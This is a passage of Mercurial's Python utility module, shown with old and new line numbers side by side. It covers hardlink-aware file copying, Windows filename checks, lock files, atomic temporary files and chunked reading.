1236 | 1240 | if hardlink: |
|
1237 | 1241 | try: |
|
1238 | 1242 | oslink(src, dest) |
|
1239 | 1243 | return |
|
1240 | 1244 | except (IOError, OSError): |
|
1241 | 1245 | pass # fall back to normal copy |
|
1242 | 1246 | if os.path.islink(src): |
|
1243 | 1247 | os.symlink(os.readlink(src), dest) |
|
1244 | 1248 | # copytime is ignored for symlinks, but in general copytime isn't needed |
|
1245 | 1249 | # for them anyway |
|
1246 | 1250 | else: |
|
1247 | 1251 | try: |
|
1248 | 1252 | shutil.copyfile(src, dest) |
|
1249 | 1253 | if copystat: |
|
1250 | 1254 | # copystat also copies mode |
|
1251 | 1255 | shutil.copystat(src, dest) |
|
1252 | 1256 | else: |
|
1253 | 1257 | shutil.copymode(src, dest) |
|
1254 | 1258 | if oldstat and oldstat.stat: |
|
1255 | 1259 | newstat = filestat.frompath(dest) |
|
1256 | 1260 | if newstat.isambig(oldstat): |
|
1257 | 1261 | # stat of copied file is ambiguous to original one |
|
1258 | 1262 | advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff |
|
1259 | 1263 | os.utime(dest, (advanced, advanced)) |
|
1260 | 1264 | except shutil.Error as inst: |
|
1261 | 1265 | raise Abort(str(inst)) |
|
1262 | 1266 | |
|
1263 | 1267 | def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None): |
|
1264 | 1268 | """Copy a directory tree using hardlinks if possible.""" |
|
1265 | 1269 | num = 0 |
|
1266 | 1270 | |
|
1267 | 1271 | gettopic = lambda: hardlink and _('linking') or _('copying') |
|
1268 | 1272 | |
|
1269 | 1273 | if os.path.isdir(src): |
|
1270 | 1274 | if hardlink is None: |
|
1271 | 1275 | hardlink = (os.stat(src).st_dev == |
|
1272 | 1276 | os.stat(os.path.dirname(dst)).st_dev) |
|
1273 | 1277 | topic = gettopic() |
|
1274 | 1278 | os.mkdir(dst) |
|
1275 | 1279 | for name, kind in listdir(src): |
|
1276 | 1280 | srcname = os.path.join(src, name) |
|
1277 | 1281 | dstname = os.path.join(dst, name) |
|
1278 | 1282 | def nprog(t, pos): |
|
1279 | 1283 | if pos is not None: |
|
1280 | 1284 | return progress(t, pos + num) |
|
1281 | 1285 | hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog) |
|
1282 | 1286 | num += n |
|
1283 | 1287 | else: |
|
1284 | 1288 | if hardlink is None: |
|
1285 | 1289 | hardlink = (os.stat(os.path.dirname(src)).st_dev == |
|
1286 | 1290 | os.stat(os.path.dirname(dst)).st_dev) |
|
1287 | 1291 | topic = gettopic() |
|
1288 | 1292 | |
|
1289 | 1293 | if hardlink: |
|
1290 | 1294 | try: |
|
1291 | 1295 | oslink(src, dst) |
|
1292 | 1296 | except (IOError, OSError): |
|
1293 | 1297 | hardlink = False |
|
1294 | 1298 | shutil.copy(src, dst) |
|
1295 | 1299 | else: |
|
1296 | 1300 | shutil.copy(src, dst) |
|
1297 | 1301 | num += 1 |
|
1298 | 1302 | progress(topic, num) |
|
1299 | 1303 | progress(topic, None) |
|
1300 | 1304 | |
|
1301 | 1305 | return hardlink, num |
|
1302 | 1306 | |
|
1303 | 1307 | _winreservednames = { |
|
1304 | 1308 | 'con', 'prn', 'aux', 'nul', |
|
1305 | 1309 | 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9', |
|
1306 | 1310 | 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9', |
|
1307 | 1311 | } |
|
1308 | 1312 | _winreservedchars = ':*?"<>|' |
|
1309 | 1313 | def checkwinfilename(path): |
|
1310 | 1314 | r'''Check that the base-relative path is a valid filename on Windows. |
|
1311 | 1315 | Returns None if the path is ok, or a UI string describing the problem. |
|
1312 | 1316 | |
|
1313 | 1317 | >>> checkwinfilename(b"just/a/normal/path") |
|
1314 | 1318 | >>> checkwinfilename(b"foo/bar/con.xml") |
|
1315 | 1319 | "filename contains 'con', which is reserved on Windows" |
|
1316 | 1320 | >>> checkwinfilename(b"foo/con.xml/bar") |
|
1317 | 1321 | "filename contains 'con', which is reserved on Windows" |
|
1318 | 1322 | >>> checkwinfilename(b"foo/bar/xml.con") |
|
1319 | 1323 | >>> checkwinfilename(b"foo/bar/AUX/bla.txt") |
|
1320 | 1324 | "filename contains 'AUX', which is reserved on Windows" |
|
1321 | 1325 | >>> checkwinfilename(b"foo/bar/bla:.txt") |
|
1322 | 1326 | "filename contains ':', which is reserved on Windows" |
|
1323 | 1327 | >>> checkwinfilename(b"foo/bar/b\07la.txt") |
|
1324 | 1328 | "filename contains '\\x07', which is invalid on Windows" |
|
1325 | 1329 | >>> checkwinfilename(b"foo/bar/bla ") |
|
1326 | 1330 | "filename ends with ' ', which is not allowed on Windows" |
|
1327 | 1331 | >>> checkwinfilename(b"../bar") |
|
1328 | 1332 | >>> checkwinfilename(b"foo\\") |
|
1329 | 1333 | "filename ends with '\\', which is invalid on Windows" |
|
1330 | 1334 | >>> checkwinfilename(b"foo\\/bar") |
|
1331 | 1335 | "directory name ends with '\\', which is invalid on Windows" |
|
1332 | 1336 | ''' |
|
1333 | 1337 | if path.endswith('\\'): |
|
1334 | 1338 | return _("filename ends with '\\', which is invalid on Windows") |
|
1335 | 1339 | if '\\/' in path: |
|
1336 | 1340 | return _("directory name ends with '\\', which is invalid on Windows") |
|
1337 | 1341 | for n in path.replace('\\', '/').split('/'): |
|
1338 | 1342 | if not n: |
|
1339 | 1343 | continue |
|
1340 | 1344 | for c in _filenamebytestr(n): |
|
1341 | 1345 | if c in _winreservedchars: |
|
1342 | 1346 | return _("filename contains '%s', which is reserved " |
|
1343 | 1347 | "on Windows") % c |
|
1344 | 1348 | if ord(c) <= 31: |
|
1345 | 1349 | return _("filename contains '%s', which is invalid " |
|
1346 | 1350 | "on Windows") % escapestr(c) |
|
1347 | 1351 | base = n.split('.')[0] |
|
1348 | 1352 | if base and base.lower() in _winreservednames: |
|
1349 | 1353 | return _("filename contains '%s', which is reserved " |
|
1350 | 1354 | "on Windows") % base |
|
1351 | 1355 | t = n[-1:] |
|
1352 | 1356 | if t in '. ' and n not in '..': |
|
1353 | 1357 | return _("filename ends with '%s', which is not allowed " |
|
1354 | 1358 | "on Windows") % t |
|
1355 | 1359 | |
|
1356 | 1360 | if pycompat.iswindows: |
|
1357 | 1361 | checkosfilename = checkwinfilename |
|
1358 | 1362 | timer = time.clock |
|
1359 | 1363 | else: |
|
1360 | 1364 | checkosfilename = platform.checkosfilename |
|
1361 | 1365 | timer = time.time |
|
1362 | 1366 | |
|
1363 | 1367 | if safehasattr(time, "perf_counter"): |
|
1364 | 1368 | timer = time.perf_counter |
|
1365 | 1369 | |
|
1366 | 1370 | def makelock(info, pathname): |
|
1367 | 1371 | try: |
|
1368 | 1372 | return os.symlink(info, pathname) |
|
1369 | 1373 | except OSError as why: |
|
1370 | 1374 | if why.errno == errno.EEXIST: |
|
1371 | 1375 | raise |
|
1372 | 1376 | except AttributeError: # no symlink in os |
|
1373 | 1377 | pass |
|
1374 | 1378 | |
|
1375 | 1379 | ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL) |
|
1376 | 1380 | os.write(ld, info) |
|
1377 | 1381 | os.close(ld) |
|
1378 | 1382 | |
|
1379 | 1383 | def readlock(pathname): |
|
1380 | 1384 | try: |
|
1381 | 1385 | return os.readlink(pathname) |
|
1382 | 1386 | except OSError as why: |
|
1383 | 1387 | if why.errno not in (errno.EINVAL, errno.ENOSYS): |
|
1384 | 1388 | raise |
|
1385 | 1389 | except AttributeError: # no symlink in os |
|
1386 | 1390 | pass |
|
1387 | 1391 | fp = posixfile(pathname) |
|
1388 | 1392 | r = fp.read() |
|
1389 | 1393 | fp.close() |
|
1390 | 1394 | return r |
|
1391 | 1395 | |
|
1392 | 1396 | def fstat(fp): |
|
1393 | 1397 | '''stat file object that may not have fileno method.''' |
|
1394 | 1398 | try: |
|
1395 | 1399 | return os.fstat(fp.fileno()) |
|
1396 | 1400 | except AttributeError: |
|
1397 | 1401 | return os.stat(fp.name) |
|
1398 | 1402 | |
|
1399 | 1403 | # File system features |
|
1400 | 1404 | |
|
1401 | 1405 | def fscasesensitive(path): |
|
1402 | 1406 | """ |
|
1403 | 1407 | Return true if the given path is on a case-sensitive filesystem |
|
1404 | 1408 | |
|
1405 | 1409 | Requires a path (like /foo/.hg) ending with a foldable final |
|
1406 | 1410 | directory component. |
|
1407 | 1411 | """ |
|
1408 | 1412 | s1 = os.lstat(path) |
|
1409 | 1413 | d, b = os.path.split(path) |
|
1410 | 1414 | b2 = b.upper() |
|
1411 | 1415 | if b == b2: |
|
1412 | 1416 | b2 = b.lower() |
|
1413 | 1417 | if b == b2: |
|
1414 | 1418 | return True # no evidence against case sensitivity |
|
1415 | 1419 | p2 = os.path.join(d, b2) |
|
1416 | 1420 | try: |
|
1417 | 1421 | s2 = os.lstat(p2) |
|
1418 | 1422 | if s2 == s1: |
|
1419 | 1423 | return False |
|
1420 | 1424 | return True |
|
1421 | 1425 | except OSError: |
|
1422 | 1426 | return True |
|
1423 | 1427 | |
|
1424 | 1428 | try: |
|
1425 | 1429 | import re2 |
|
1426 | 1430 | _re2 = None |
|
1427 | 1431 | except ImportError: |
|
1428 | 1432 | _re2 = False |
|
1429 | 1433 | |
|
1430 | 1434 | class _re(object): |
|
1431 | 1435 | def _checkre2(self): |
|
1432 | 1436 | global _re2 |
|
1433 | 1437 | try: |
|
1434 | 1438 | # check if match works, see issue3964 |
|
1435 | 1439 | _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]')) |
|
1436 | 1440 | except ImportError: |
|
1437 | 1441 | _re2 = False |
|
1438 | 1442 | |
|
1439 | 1443 | def compile(self, pat, flags=0): |
|
1440 | 1444 | '''Compile a regular expression, using re2 if possible |
|
1441 | 1445 | |
|
1442 | 1446 | For best performance, use only re2-compatible regexp features. The |
|
1443 | 1447 | only flags from the re module that are re2-compatible are |
|
1444 | 1448 | IGNORECASE and MULTILINE.''' |
|
1445 | 1449 | if _re2 is None: |
|
1446 | 1450 | self._checkre2() |
|
1447 | 1451 | if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0: |
|
1448 | 1452 | if flags & remod.IGNORECASE: |
|
1449 | 1453 | pat = '(?i)' + pat |
|
1450 | 1454 | if flags & remod.MULTILINE: |
|
1451 | 1455 | pat = '(?m)' + pat |
|
1452 | 1456 | try: |
|
1453 | 1457 | return re2.compile(pat) |
|
1454 | 1458 | except re2.error: |
|
1455 | 1459 | pass |
|
1456 | 1460 | return remod.compile(pat, flags) |
|
1457 | 1461 | |
|
1458 | 1462 | @propertycache |
|
1459 | 1463 | def escape(self): |
|
1460 | 1464 | '''Return the version of escape corresponding to self.compile. |
|
1461 | 1465 | |
|
1462 | 1466 | This is imperfect because whether re2 or re is used for a particular |
|
1463 | 1467 | function depends on the flags, etc, but it's the best we can do. |
|
1464 | 1468 | ''' |
|
1465 | 1469 | global _re2 |
|
1466 | 1470 | if _re2 is None: |
|
1467 | 1471 | self._checkre2() |
|
1468 | 1472 | if _re2: |
|
1469 | 1473 | return re2.escape |
|
1470 | 1474 | else: |
|
1471 | 1475 | return remod.escape |
|
1472 | 1476 | |
|
1473 | 1477 | re = _re() |
|
1474 | 1478 | |
|
1475 | 1479 | _fspathcache = {} |
|
1476 | 1480 | def fspath(name, root): |
|
1477 | 1481 | '''Get name in the case stored in the filesystem |
|
1478 | 1482 | |
|
1479 | 1483 | The name should be relative to root, and be normcase-ed for efficiency. |
|
1480 | 1484 | |
|
1481 | 1485 | Note that this function is unnecessary, and should not be |
|
1482 | 1486 | called, for case-sensitive filesystems (simply because it's expensive). |
|
1483 | 1487 | |
|
1484 | 1488 | The root should be normcase-ed, too. |
|
1485 | 1489 | ''' |
|
1486 | 1490 | def _makefspathcacheentry(dir): |
|
1487 | 1491 | return dict((normcase(n), n) for n in os.listdir(dir)) |
|
1488 | 1492 | |
|
1489 | 1493 | seps = pycompat.ossep |
|
1490 | 1494 | if pycompat.osaltsep: |
|
1491 | 1495 | seps = seps + pycompat.osaltsep |
|
1492 | 1496 | # Protect backslashes. This gets silly very quickly. |
|
1493 | 1497 | seps.replace('\\','\\\\') |
|
1494 | 1498 | pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps)) |
|
1495 | 1499 | dir = os.path.normpath(root) |
|
1496 | 1500 | result = [] |
|
1497 | 1501 | for part, sep in pattern.findall(name): |
|
1498 | 1502 | if sep: |
|
1499 | 1503 | result.append(sep) |
|
1500 | 1504 | continue |
|
1501 | 1505 | |
|
1502 | 1506 | if dir not in _fspathcache: |
|
1503 | 1507 | _fspathcache[dir] = _makefspathcacheentry(dir) |
|
1504 | 1508 | contents = _fspathcache[dir] |
|
1505 | 1509 | |
|
1506 | 1510 | found = contents.get(part) |
|
1507 | 1511 | if not found: |
|
1508 | 1512 | # retry "once per directory" per "dirstate.walk" which |
|
1509 | 1513 | # may take place for each patches of "hg qpush", for example |
|
1510 | 1514 | _fspathcache[dir] = contents = _makefspathcacheentry(dir) |
|
1511 | 1515 | found = contents.get(part) |
|
1512 | 1516 | |
|
1513 | 1517 | result.append(found or part) |
|
1514 | 1518 | dir = os.path.join(dir, part) |
|
1515 | 1519 | |
|
1516 | 1520 | return ''.join(result) |
|
1517 | 1521 | |
|
1518 | 1522 | def getfstype(dirpath): |
|
1519 | 1523 | '''Get the filesystem type name from a directory (best-effort) |
|
1520 | 1524 | |
|
1521 | 1525 | Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc. |
|
1522 | 1526 | ''' |
|
1523 | 1527 | return getattr(osutil, 'getfstype', lambda x: None)(dirpath) |
|
1524 | 1528 | |
|
1525 | 1529 | def checknlink(testfile): |
|
1526 | 1530 | '''check whether hardlink count reporting works properly''' |
|
1527 | 1531 | |
|
1528 | 1532 | # testfile may be open, so we need a separate file for checking to |
|
1529 | 1533 | # work around issue2543 (or testfile may get lost on Samba shares) |
|
1530 | 1534 | f1, f2, fp = None, None, None |
|
1531 | 1535 | try: |
|
1532 | 1536 | fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile), |
|
1533 | 1537 | suffix='1~', dir=os.path.dirname(testfile)) |
|
1534 | 1538 | os.close(fd) |
|
1535 | 1539 | f2 = '%s2~' % f1[:-2] |
|
1536 | 1540 | |
|
1537 | 1541 | oslink(f1, f2) |
|
1538 | 1542 | # nlinks() may behave differently for files on Windows shares if |
|
1539 | 1543 | # the file is open. |
|
1540 | 1544 | fp = posixfile(f2) |
|
1541 | 1545 | return nlinks(f2) > 1 |
|
1542 | 1546 | except OSError: |
|
1543 | 1547 | return False |
|
1544 | 1548 | finally: |
|
1545 | 1549 | if fp is not None: |
|
1546 | 1550 | fp.close() |
|
1547 | 1551 | for f in (f1, f2): |
|
1548 | 1552 | try: |
|
1549 | 1553 | if f is not None: |
|
1550 | 1554 | os.unlink(f) |
|
1551 | 1555 | except OSError: |
|
1552 | 1556 | pass |
|
1553 | 1557 | |
|
1554 | 1558 | def endswithsep(path): |
|
1555 | 1559 | '''Check path ends with os.sep or os.altsep.''' |
|
1556 | 1560 | return (path.endswith(pycompat.ossep) |
|
1557 | 1561 | or pycompat.osaltsep and path.endswith(pycompat.osaltsep)) |
|
1558 | 1562 | |
|
1559 | 1563 | def splitpath(path): |
|
1560 | 1564 | '''Split path by os.sep. |
|
1561 | 1565 | Note that this function does not use os.altsep because this is |
|
1562 | 1566 | an alternative of simple "xxx.split(os.sep)". |
|
1563 | 1567 | It is recommended to use os.path.normpath() before using this |
|
1564 | 1568 | function if need.''' |
|
1565 | 1569 | return path.split(pycompat.ossep) |
|
1566 | 1570 | |
|
1567 | 1571 | def gui(): |
|
1568 | 1572 | '''Are we running in a GUI?''' |
|
1569 | 1573 | if pycompat.isdarwin: |
|
1570 | 1574 | if 'SSH_CONNECTION' in encoding.environ: |
|
1571 | 1575 | # handle SSH access to a box where the user is logged in |
|
1572 | 1576 | return False |
|
1573 | 1577 | elif getattr(osutil, 'isgui', None): |
|
1574 | 1578 | # check if a CoreGraphics session is available |
|
1575 | 1579 | return osutil.isgui() |
|
1576 | 1580 | else: |
|
1577 | 1581 | # pure build; use a safe default |
|
1578 | 1582 | return True |
|
1579 | 1583 | else: |
|
1580 | 1584 | return pycompat.iswindows or encoding.environ.get("DISPLAY") |
|
1581 | 1585 | |
|
1582 | 1586 | def mktempcopy(name, emptyok=False, createmode=None): |
|
1583 | 1587 | """Create a temporary file with the same contents from name |
|
1584 | 1588 | |
|
1585 | 1589 | The permission bits are copied from the original file. |
|
1586 | 1590 | |
|
1587 | 1591 | If the temporary file is going to be truncated immediately, you |
|
1588 | 1592 | can use emptyok=True as an optimization. |
|
1589 | 1593 | |
|
1590 | 1594 | Returns the name of the temporary file. |
|
1591 | 1595 | """ |
|
1592 | 1596 | d, fn = os.path.split(name) |
|
1593 | 1597 | fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d) |
|
1594 | 1598 | os.close(fd) |
|
1595 | 1599 | # Temporary files are created with mode 0600, which is usually not |
|
1596 | 1600 | # what we want. If the original file already exists, just copy |
|
1597 | 1601 | # its mode. Otherwise, manually obey umask. |
|
1598 | 1602 | copymode(name, temp, createmode) |
|
1599 | 1603 | if emptyok: |
|
1600 | 1604 | return temp |
|
1601 | 1605 | try: |
|
1602 | 1606 | try: |
|
1603 | 1607 | ifp = posixfile(name, "rb") |
|
1604 | 1608 | except IOError as inst: |
|
1605 | 1609 | if inst.errno == errno.ENOENT: |
|
1606 | 1610 | return temp |
|
1607 | 1611 | if not getattr(inst, 'filename', None): |
|
1608 | 1612 | inst.filename = name |
|
1609 | 1613 | raise |
|
1610 | 1614 | ofp = posixfile(temp, "wb") |
|
1611 | 1615 | for chunk in filechunkiter(ifp): |
|
1612 | 1616 | ofp.write(chunk) |
|
1613 | 1617 | ifp.close() |
|
1614 | 1618 | ofp.close() |
|
1615 | 1619 | except: # re-raises |
|
1616 | 1620 | try: |
|
1617 | 1621 | os.unlink(temp) |
|
1618 | 1622 | except OSError: |
|
1619 | 1623 | pass |
|
1620 | 1624 | raise |
|
1621 | 1625 | return temp |
|
1622 | 1626 | |
|
1623 | 1627 | class filestat(object): |
|
1624 | 1628 | """help to exactly detect change of a file |
|
1625 | 1629 | |
|
1626 | 1630 | 'stat' attribute is result of 'os.stat()' if specified 'path' |
|
1627 | 1631 | exists. Otherwise, it is None. This can avoid preparative |
|
1628 | 1632 | 'exists()' examination on client side of this class. |
|
1629 | 1633 | """ |
|
1630 | 1634 | def __init__(self, stat): |
|
1631 | 1635 | self.stat = stat |
|
1632 | 1636 | |
|
1633 | 1637 | @classmethod |
|
1634 | 1638 | def frompath(cls, path): |
|
1635 | 1639 | try: |
|
1636 | 1640 | stat = os.stat(path) |
|
1637 | 1641 | except OSError as err: |
|
1638 | 1642 | if err.errno != errno.ENOENT: |
|
1639 | 1643 | raise |
|
1640 | 1644 | stat = None |
|
1641 | 1645 | return cls(stat) |
|
1642 | 1646 | |
|
1643 | 1647 | @classmethod |
|
1644 | 1648 | def fromfp(cls, fp): |
|
1645 | 1649 | stat = os.fstat(fp.fileno()) |
|
1646 | 1650 | return cls(stat) |
|
1647 | 1651 | |
|
1648 | 1652 | __hash__ = object.__hash__ |
|
1649 | 1653 | |
|
1650 | 1654 | def __eq__(self, old): |
|
1651 | 1655 | try: |
|
1652 | 1656 | # if ambiguity between stat of new and old file is |
|
1653 | 1657 | # avoided, comparison of size, ctime and mtime is enough |
|
1654 | 1658 | # to exactly detect change of a file regardless of platform |
|
1655 | 1659 | return (self.stat.st_size == old.stat.st_size and |
|
1656 | 1660 | self.stat.st_ctime == old.stat.st_ctime and |
|
1657 | 1661 | self.stat.st_mtime == old.stat.st_mtime) |
|
1658 | 1662 | except AttributeError: |
|
1659 | 1663 | pass |
|
1660 | 1664 | try: |
|
1661 | 1665 | return self.stat is None and old.stat is None |
|
1662 | 1666 | except AttributeError: |
|
1663 | 1667 | return False |
|
1664 | 1668 | |
|
1665 | 1669 | def isambig(self, old): |
|
1666 | 1670 | """Examine whether new (= self) stat is ambiguous against old one |
|
1667 | 1671 | |
|
1668 | 1672 | "S[N]" below means stat of a file at N-th change: |
|
1669 | 1673 | |
|
1670 | 1674 | - S[n-1].ctime < S[n].ctime: can detect change of a file |
|
1671 | 1675 | - S[n-1].ctime == S[n].ctime |
|
1672 | 1676 | - S[n-1].ctime < S[n].mtime: means natural advancing (*1) |
|
1673 | 1677 | - S[n-1].ctime == S[n].mtime: is ambiguous (*2) |
|
1674 | 1678 | - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care) |
|
1675 | 1679 | - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care) |
|
1676 | 1680 | |
|
1677 | 1681 | Case (*2) above means that a file was changed twice or more at |
|
1678 | 1682 | same time in sec (= S[n-1].ctime), and comparison of timestamp |
|
1679 | 1683 | is ambiguous. |
|
1680 | 1684 | |
|
1681 | 1685 | Base idea to avoid such ambiguity is "advance mtime 1 sec, if |
|
1682 | 1686 | timestamp is ambiguous". |
|
1683 | 1687 | |
|
1684 | 1688 | But advancing mtime only in case (*2) doesn't work as |
|
1685 | 1689 | expected, because naturally advanced S[n].mtime in case (*1) |
|
1686 | 1690 | might be equal to manually advanced S[n-1 or earlier].mtime. |
|
1687 | 1691 | |
|
1688 | 1692 | Therefore, all "S[n-1].ctime == S[n].ctime" cases should be |
|
1689 | 1693 | treated as ambiguous regardless of mtime, to avoid overlooking |
|
1690 | 1694 | by confliction between such mtime. |
|
1691 | 1695 | |
|
1692 | 1696 | Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime != |
|
1693 | 1697 | S[n].mtime", even if size of a file isn't changed. |
|
1694 | 1698 | """ |
|
1695 | 1699 | try: |
|
1696 | 1700 | return (self.stat.st_ctime == old.stat.st_ctime) |
|
1697 | 1701 | except AttributeError: |
|
1698 | 1702 | return False |
|
1699 | 1703 | |
|
1700 | 1704 | def avoidambig(self, path, old): |
|
1701 | 1705 | """Change file stat of specified path to avoid ambiguity |
|
1702 | 1706 | |
|
1703 | 1707 | 'old' should be previous filestat of 'path'. |
|
1704 | 1708 | |
|
1705 | 1709 | This skips avoiding ambiguity, if a process doesn't have |
|
1706 | 1710 | appropriate privileges for 'path'. This returns False in this |
|
1707 | 1711 | case. |
|
1708 | 1712 | |
|
1709 | 1713 | Otherwise, this returns True, as "ambiguity is avoided". |
|
1710 | 1714 | """ |
|
1711 | 1715 | advanced = (old.stat.st_mtime + 1) & 0x7fffffff |
|
1712 | 1716 | try: |
|
1713 | 1717 | os.utime(path, (advanced, advanced)) |
|
1714 | 1718 | except OSError as inst: |
|
1715 | 1719 | if inst.errno == errno.EPERM: |
|
1716 | 1720 | # utime() on the file created by another user causes EPERM, |
|
1717 | 1721 | # if a process doesn't have appropriate privileges |
|
1718 | 1722 | return False |
|
1719 | 1723 | raise |
|
1720 | 1724 | return True |
|
1721 | 1725 | |
|
1722 | 1726 | def __ne__(self, other): |
|
1723 | 1727 | return not self == other |
|
1724 | 1728 | |
|
1725 | 1729 | class atomictempfile(object): |
|
1726 | 1730 | '''writable file object that atomically updates a file |
|
1727 | 1731 | |
|
1728 | 1732 | All writes will go to a temporary copy of the original file. Call |
|
1729 | 1733 | close() when you are done writing, and atomictempfile will rename |
|
1730 | 1734 | the temporary copy to the original name, making the changes |
|
1731 | 1735 | visible. If the object is destroyed without being closed, all your |
|
1732 | 1736 | writes are discarded. |
|
1733 | 1737 | |
|
1734 | 1738 | checkambig argument of constructor is used with filestat, and is |
|
1735 | 1739 | useful only if target file is guarded by any lock (e.g. repo.lock |
|
1736 | 1740 | or repo.wlock). |
|
1737 | 1741 | ''' |
|
1738 | 1742 | def __init__(self, name, mode='w+b', createmode=None, checkambig=False): |
|
1739 | 1743 | self.__name = name # permanent name |
|
1740 | 1744 | self._tempname = mktempcopy(name, emptyok=('w' in mode), |
|
1741 | 1745 | createmode=createmode) |
|
1742 | 1746 | self._fp = posixfile(self._tempname, mode) |
|
1743 | 1747 | self._checkambig = checkambig |
|
1744 | 1748 | |
|
1745 | 1749 | # delegated methods |
|
1746 | 1750 | self.read = self._fp.read |
|
1747 | 1751 | self.write = self._fp.write |
|
1748 | 1752 | self.seek = self._fp.seek |
|
1749 | 1753 | self.tell = self._fp.tell |
|
1750 | 1754 | self.fileno = self._fp.fileno |
|
1751 | 1755 | |
|
1752 | 1756 | def close(self): |
|
1753 | 1757 | if not self._fp.closed: |
|
1754 | 1758 | self._fp.close() |
|
1755 | 1759 | filename = localpath(self.__name) |
|
1756 | 1760 | oldstat = self._checkambig and filestat.frompath(filename) |
|
1757 | 1761 | if oldstat and oldstat.stat: |
|
1758 | 1762 | rename(self._tempname, filename) |
|
1759 | 1763 | newstat = filestat.frompath(filename) |
|
1760 | 1764 | if newstat.isambig(oldstat): |
|
1761 | 1765 | # stat of changed file is ambiguous to original one |
|
1762 | 1766 | advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff |
|
1763 | 1767 | os.utime(filename, (advanced, advanced)) |
|
1764 | 1768 | else: |
|
1765 | 1769 | rename(self._tempname, filename) |
|
1766 | 1770 | |
|
1767 | 1771 | def discard(self): |
|
1768 | 1772 | if not self._fp.closed: |
|
1769 | 1773 | try: |
|
1770 | 1774 | os.unlink(self._tempname) |
|
1771 | 1775 | except OSError: |
|
1772 | 1776 | pass |
|
1773 | 1777 | self._fp.close() |
|
1774 | 1778 | |
|
1775 | 1779 | def __del__(self): |
|
1776 | 1780 | if safehasattr(self, '_fp'): # constructor actually did something |
|
1777 | 1781 | self.discard() |
|
1778 | 1782 | |
|
1779 | 1783 | def __enter__(self): |
|
1780 | 1784 | return self |
|
1781 | 1785 | |
|
1782 | 1786 | def __exit__(self, exctype, excvalue, traceback): |
|
1783 | 1787 | if exctype is not None: |
|
1784 | 1788 | self.discard() |
|
1785 | 1789 | else: |
|
1786 | 1790 | self.close() |
|
1787 | 1791 | |
|
1788 | 1792 | def unlinkpath(f, ignoremissing=False): |
|
1789 | 1793 | """unlink and remove the directory if it is empty""" |
|
1790 | 1794 | if ignoremissing: |
|
1791 | 1795 | tryunlink(f) |
|
1792 | 1796 | else: |
|
1793 | 1797 | unlink(f) |
|
1794 | 1798 | # try removing directories that might now be empty |
|
1795 | 1799 | try: |
|
1796 | 1800 | removedirs(os.path.dirname(f)) |
|
1797 | 1801 | except OSError: |
|
1798 | 1802 | pass |
|
1799 | 1803 | |
|
1800 | 1804 | def tryunlink(f): |
|
1801 | 1805 | """Attempt to remove a file, ignoring ENOENT errors.""" |
|
1802 | 1806 | try: |
|
1803 | 1807 | unlink(f) |
|
1804 | 1808 | except OSError as e: |
|
1805 | 1809 | if e.errno != errno.ENOENT: |
|
1806 | 1810 | raise |
|
1807 | 1811 | |
|
1808 | 1812 | def makedirs(name, mode=None, notindexed=False): |
|
1809 | 1813 | """recursive directory creation with parent mode inheritance |
|
1810 | 1814 | |
|
1811 | 1815 | Newly created directories are marked as "not to be indexed by |
|
1812 | 1816 | the content indexing service", if ``notindexed`` is specified |
|
1813 | 1817 | for "write" mode access. |
|
1814 | 1818 | """ |
|
1815 | 1819 | try: |
|
1816 | 1820 | makedir(name, notindexed) |
|
1817 | 1821 | except OSError as err: |
|
1818 | 1822 | if err.errno == errno.EEXIST: |
|
1819 | 1823 | return |
|
1820 | 1824 | if err.errno != errno.ENOENT or not name: |
|
1821 | 1825 | raise |
|
1822 | 1826 | parent = os.path.dirname(os.path.abspath(name)) |
|
1823 | 1827 | if parent == name: |
|
1824 | 1828 | raise |
|
1825 | 1829 | makedirs(parent, mode, notindexed) |
|
1826 | 1830 | try: |
|
1827 | 1831 | makedir(name, notindexed) |
|
1828 | 1832 | except OSError as err: |
|
1829 | 1833 | # Catch EEXIST to handle races |
|
1830 | 1834 | if err.errno == errno.EEXIST: |
|
1831 | 1835 | return |
|
1832 | 1836 | raise |
|
1833 | 1837 | if mode is not None: |
|
1834 | 1838 | os.chmod(name, mode) |
|
1835 | 1839 | |
|
1836 | 1840 | def readfile(path): |
|
1837 | 1841 | with open(path, 'rb') as fp: |
|
1838 | 1842 | return fp.read() |
|
1839 | 1843 | |
|
1840 | 1844 | def writefile(path, text): |
|
1841 | 1845 | with open(path, 'wb') as fp: |
|
1842 | 1846 | fp.write(text) |
|
1843 | 1847 | |
|
1844 | 1848 | def appendfile(path, text): |
|
1845 | 1849 | with open(path, 'ab') as fp: |
|
1846 | 1850 | fp.write(text) |
|
1847 | 1851 | |
|
1848 | 1852 | class chunkbuffer(object): |
|
1849 | 1853 | """Allow arbitrary sized chunks of data to be efficiently read from an |
|
1850 | 1854 | iterator over chunks of arbitrary size.""" |
|
1851 | 1855 | |
|
1852 | 1856 | def __init__(self, in_iter): |
|
1853 | 1857 | """in_iter is the iterator that's iterating over the input chunks.""" |
|
1854 | 1858 | def splitbig(chunks): |
|
1855 | 1859 | for chunk in chunks: |
|
1856 | 1860 | if len(chunk) > 2**20: |
|
1857 | 1861 | pos = 0 |
|
1858 | 1862 | while pos < len(chunk): |
|
1859 | 1863 | end = pos + 2 ** 18 |
|
1860 | 1864 | yield chunk[pos:end] |
|
1861 | 1865 | pos = end |
|
1862 | 1866 | else: |
|
1863 | 1867 | yield chunk |
|
1864 | 1868 | self.iter = splitbig(in_iter) |
|
1865 | 1869 | self._queue = collections.deque() |
|
1866 | 1870 | self._chunkoffset = 0 |
|
1867 | 1871 | |
|
1868 | 1872 | def read(self, l=None): |
|
1869 | 1873 | """Read L bytes of data from the iterator of chunks of data. |
|
1870 | 1874 | Returns less than L bytes if the iterator runs dry. |
|
